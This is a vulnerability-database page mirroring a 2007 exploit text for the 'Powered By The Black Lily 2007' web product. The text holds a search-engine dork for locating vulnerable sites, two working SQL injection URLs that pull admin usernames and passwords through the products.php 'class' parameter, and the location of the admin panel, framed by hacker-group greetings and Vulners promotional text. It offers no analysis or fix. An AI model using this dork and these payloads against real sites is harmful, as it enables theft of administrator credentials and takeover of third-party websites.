Lucene search

K

blacklily-sql.txt

๐Ÿ—“๏ธย 25 Sep 2007ย 00:00:00Reported byย VerY-SecReTTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 25ย Views

Security vulnerability in "Powered By The Black Lily 2007" allows SQL injection to access admin credentials

Show more
Code
`#######################SnIper-sa.com################################  
# #  
# SSSSS nnn nn ii ppppppp eeeeeeeee rrrrr #  
# ss nn nn nn ii pp p ee rr rr #  
#s nn nn nn ii pp p ee rr r #  
# ss nn nn nn ii ppppppp ee rr rr #  
# sssss nn nn nn ii pp eeeeee rrrr #  
# ss nn nn nn ii pp ee rrrr #  
# s nn nn nn ii pp ee rr rr #  
# ss nn nnn ii pp ee rr rr #  
# sssss nn nnn ii pp eeeeeeeeee rr rr #  
# #  
#####################VerY-SecReT####################################  
####################################  
  
found by :  
VerY SecReT  
###########  
HomePage : WwW.SnIpEr-Sa.Com  
##################  
  
Dork : "Powered By The Black Lily 2007"  
####################################  
  
EXPLOIT:  
http://victim.com/ar/products.php?class=-1%20union%20select%201,2,password,4,username%20from%20admin/*  
  
or  
  
http://victim.com/en/products.php?class=-1%20union%20select%201,2,3,password,username%20from%20admin/*  
  
########################################  
  
Admin Panel is in http://victim.com/xx/admin/  
  
#####################################  
  
S.GreetZ: sniper-sa.com & sniper-sa & Rafoo  
#############################  
thanx : shoot3r , Devil-X ,ReMOTeR , and all sniper members  
  
##############  
  
contact-mail : [email protected]  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
25 Sep 2007 00:00Current
7.4High risk
Vulners AI Score7.4
25
.json
Report